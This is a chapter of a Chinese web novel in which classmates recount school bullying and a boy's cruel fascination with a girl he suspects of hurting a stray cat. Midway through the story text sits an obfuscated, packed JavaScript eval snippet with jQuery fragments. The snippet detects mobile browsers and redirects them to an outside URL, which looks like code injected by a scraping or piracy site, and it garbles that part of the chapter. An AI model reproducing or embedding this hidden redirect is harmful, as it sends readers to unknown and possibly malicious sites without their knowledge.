18.假相

作品:《陈生如梦

    暗潮在远处翻涌,黏腻的水汽钻入阴沉的空间。


    赵选扶住额头,因为被勾起的回忆而轻声吸气,不愿再想:“那件事实在是太恐怖了。我从来没见过,哪里有这样的人……不,可能上一次还是小学的时候,隔壁班的男生剪掉了一只鹌鹑的头。”


    那么脆弱的小鹌鹑有一袭金色的羽毛,和多年后草地上的那只黄狸猫在记忆中重合。相同的令她反胃。


    “太恶心了,我没办法再说了,”赵选掸掉指甲上的灰尘,视线飘向天台,“没有下雨,我说的是真的。”


    在众人的沉默里,陈屿平静地开口:“你看见的只是你以为的真实。”


    “嗯,你说的没错。我们也只能知道自己看见的,不是吗?”赵选轻飘飘地回应。


    庄笙不自觉地绷直背脊,陈屿就站在她旁边,呼吸浅得像不存在。换做时高中时代的她,一定会想知道陈屿此时在想些什么。但现在都不那么重要了。


    温嘉的手臂酸痛,因为之前的胆怯一直拽住庞潇的衣服没有松开。她的眼睛睁得很大,漆黑的眼珠差点瞪出来,于是小声跟庞潇嘀咕:“赵选说的都是真的?真是他们三个……我之前怎么不知道。”


    “你听话听一半。”庞潇责怪道,温嘉还是和以前一样,总是出乎意料得笨。


    温嘉软弱地“噢”了一声:“那到底怎么回事。”


    庞潇用气音回她:“不知道。”


    “你俩还讨论上了?”卓诗兰朝她们的方向抬眉。


    “没、没有啊,”庞潇利用抬高的音量掩饰心虚,“徐晓梦去文科班之后,我都没怎么见过她了,就挺好奇又发生了什么。”


    赵选要回答时,冯银子拉住了她。麦吉出声道:“现在还剩下三个人没有发言,你们谁要先说?”


    郁迟,陈屿,以及庄笙。


    “我先来吧。”


    郁迟掌握了主动权:“流浪猫那件事,我也在场。”


    -


    郁迟原以为徐晓梦会回家更久,或者索性转学。再见到她的时候,他还挺惊讶的。


    徐晓梦还是那副淡淡的死人样,安静得好像从来都不存在。郁迟想,自己真是有一双发现美的眼睛。


    徐晓梦是很好看的女孩子,没有赵选那么暴躁,也没有卓诗兰那么张扬。安静而软弱,一看就是非常传统的那一款。


    实际上,徐晓梦却有一点不一样。


    郁迟说不清楚。


    以前他爱欺负人,纯属是爱看人害怕时服软求饶。经过了多年充满秩序的圈养,弱者的眼神会在遭遇动物性的边界侵犯时变得极为惊恐。按他的经验,即便他更喜欢刺激的,也不常有反抗。


    男生堆里窝囊的居多,满足不了他极大的掌控欲和好胜心,“没意思”三个字就能概括全部。而且他长得瘦弱,真打架了全靠一股不要命的狠劲,实际上占不了多少便宜。


    女孩子就不一样了。赵选这样比他还高的女生也没他力气大。


    他对赵选还挺尊重的,因为她真的很凶,有时候神态简直像他妈。他妈也和赵选一样不太在意他,甚至有些看不起他。在他爸妈面前他得当孙子,因为从小学时他咬掉了同学的耳朵开始,他就被放弃了。但赵选不会“放弃”他,顶多骂他两句。


    卓诗兰更像他那个娇生惯养的妹,干什么都颐指气使的。他表面上不乐意,心理上却产生了被需要的感觉。好像他们本来就是一样的。


    至于冯银子,虽然不好看,可她家里很有来头,比他家这样只做生意的要厉害多了。在同一个阵营的话,就不用担心得罪她了。


    和班上其他女孩子比起来,徐晓梦也是个窝囊的废物。但每次她服软的时候,郁迟都能从她的语气里听出一丝丝不服气的味道。比如她说“对不起”,或者“抱歉”,又或者不肯说话,眼睛总是往下看。那是服软的姿态。


    但他知道徐晓梦不服。


    他就是知道。


    所以一遍一遍变着法儿地折磨人才格外有趣。


    他要弄明白徐晓梦怎么敢的,也要知道怎么样才能彻底解决她,让自己心里爽起来。


    早在徐晓梦逮住那只黄狸花之前,郁迟见过他们相处。


    那是一个雨天,周四。


    下午自由活动时间,郁迟赖在小教室睡觉。卓诗兰和冯银子叽叽喳喳的声音,还有赵选看视频时不时的尖叫,一连吵醒他好几次。


    失去耐心的郁迟干脆绕过回廊。在靠近小竹林方向有一片屋檐,很少人经过。那里也通风,适合散味儿,不会被李婉玫抓到。其实抓到也无所谓,反正没人管他,只不过和李婉玫吵架很掉价。他是不想对一个三十岁的老女人低头的。


    烟灰落在脚下,很快被雨水冲走,一点痕迹都不剩。潮湿的空气黏在裸.露的皮肤上,堵住疏气的毛孔,让他心里闷得发霉。


    靠在墙边快睡着了,他忽然听见一声猫叫。


    一只暖黄色的小猫从小竹林的边缘蹿出,踩上了粗糙路面的水坑。它看起来很是年幼,一惊一乍的惹人烦。它往郁迟的方向扫了一下脑袋,又回头盯着竹林中的石子路。


    郁迟这才发现有个熟悉的身影站在竹林间,半露半藏地注视着小猫。徐晓梦的位置看不见郁迟,她蹲下身,朝徘徊的小猫勾勾手,嘴里还发出“嘬”的声音。


    过了很久,小猫才慢慢地靠近她。


    郁迟看见她朝小猫伸出一只手,另一只手揪住脚边的塑料袋。整个人绷紧了,像是在等待什么。


    徐晓梦的手指纤长,此时盈满雨水,在快要碰到小猫时,猫咪被突然出现的人影吓得一个激灵,然后被一只手捞了起来。


    “你干嘛呢?”郁迟问她。


    徐晓梦被吓了一跳,不敢吭声。郁迟走近时,她条件反射地躲了两步。男生的球鞋踩住蓝色的塑料袋,鞋头往旁边一拨,露出了一把锋利的剪刀。


    还有一块方正的锡纸包,应该是食堂中午的烤鸡。


    徐晓梦是来喂猫的吗,她这么好心?那她带剪刀是想干什么?


    一股微妙的情绪忽然涌现。郁迟想,他好像发现了一些很特别的事。令他无端生出一点不可思议的期待,还有作为共谋的隐秘的兴奋。


    趁徐晓梦发呆,他蹲下身将小猫放在脚边。张开的五指卡住小猫的脖子和前肢,然后单手打开鸡肉,喂到它面前。小猫吃东西的时候,他放松了手指的力度,虚虚圈住不让它溜走。


    流浪猫似乎警惕太久了,连进食也时不时抬头,观察周围的危险。


    “你能,按住它吗?”徐晓梦在小猫快要吃完的时候出声。


    郁迟耸耸肩,看见她拿起剪刀戳向小猫的尾巴。他感觉心脏边缘微微发毛,刀尖划过猫毛的时候也划过他心里那一圈莫名生发的毛。


    剪刀调整了方向,然后干净利落地去掉了小猫尾巴下方黏结的一块泥巴。或许刀尖过于近了,冷得小猫一声哀嚎。


    徐晓梦赶紧安慰它,耐心哄道:“没事了,已经剪掉了。”


    郁迟盯着她的侧脸,她装得可真像。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721427|173352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明明剪刀刚才指着猫尾巴,他不会看错她眼中隐秘的恶意。


    徐晓梦,挺有意思的。更有意思的是她很快收好东西,还扭头朝郁迟道谢。


    她还是浑身充满怯懦卑微,但郁迟总感觉哪里不一样了。


    有什么东西毛毛地挠着他。


    那么细的脖子,如果掐上去,一定很有意思。


    从那之后,郁迟时不时会看见徐晓梦去喂那只猫。她还是会带着蓝色的塑料袋,当一个守候在不远处的猎人。而她的猎物并不听话,需要循循善诱,才会来到塑料袋附近。


    郁迟想,她的耐心总会耗光的。


    不久后的那件事,郁迟并不感到惊讶。


    那天他照旧躲在教学区的边缘做违反校规的事。根据他这一阵的观察,徐晓梦的耐心已经逼近到边缘了。蓝色的塑料袋换了又换,每次都被戳破,而每次都是崭新的。


    他这一天来得格外早。临城在下大雨,哗啦啦地闹得耳朵疼。


    手机上弹出他妈发来的消息,给他打了钱,让他这周回家的时候别光顾着玩,去商场挑一条成熟点的领带。他敷衍地回答了,又问了两句才得知他哥周末要回家,领带是让他准备自己的礼物。


    隔着屏幕都能感觉到他妈的欢欣雀跃,估计会迫不及待张罗一圈事情。


    有时候他也很像那只流浪猫,吃饭的时候要多长个心眼儿。


    郁迟盯着来电显示,心里烦的要命。他贴着教学楼往班上走,接了个漫长无聊的电话才又回到秘密吸烟点。


    雨水积成脚边的坑洼,穿林打叶地呼啸着。


    他脚还没站稳便听见赵选的尖叫。她打着伞,耳机还挂在脖子上。即便被雨声削弱,她的惊慌也很快吸引来了路过的几个学生。


    徐晓梦不知何时坐在竹林边的草坪上,她浑身都湿透了,怀里的那团东西也在哀嚎,渐渐不再反抗。离她最近的两根绿竹之间掉落了一把剪刀。


    他看见徐晓梦侧过头,苍白的脸颊,和紧绷的身躯。那些未解的恶意终于从她眼中宣泄出来,和污水一样流得到处都是。


    视线相撞的瞬间,他朝她微笑。


    悬在心中的一块石头也终于落地了。


    我会保密的。郁迟无声地说。


    他想他大概是从徐晓梦身上嗅到了一丝同类的气息。至于是从什么时候开始的,他已经记不清了。


    这么说来……郁迟转过头,看见了人群边缘的陈屿。


    陈屿知道这些吗?应该不会吧。徐晓梦一定不敢告诉陈屿。


    那这就是他和徐晓梦两个人之间的秘密了。


    真好。他不是唯一的异类。


    ……


    一个暑假之后,重新回到学校的郁迟进入了新班级,文科三班。卓诗兰和赵选擦线去了文二,冯银子则去了有庄笙和陈屿的理科一班。


    令人有点意外的是,徐晓梦竟然和温嘉、庞潇他们一起分入了文科一班。


    她分班考得很好吗?郁迟想不通。


    经过了一个暑假,他对徐晓梦更好奇了。于是他随便挑了一天晚自习下课,在他们班小教室门口堵住了徐晓梦。


    他过去那些欺负人的手段对上徐晓梦简直得心应手。只不过这一回,他很快愣在了原地,脸上出现了一个清晰的五指印。


    徐晓梦看了眼自己通红的手,似乎也愣了一下。她反应很快地冲到紧闭的门边,用郁迟从未听过的音量大声呼喊。


    一只手从后面抓住她的头发,将她一把拖了回去。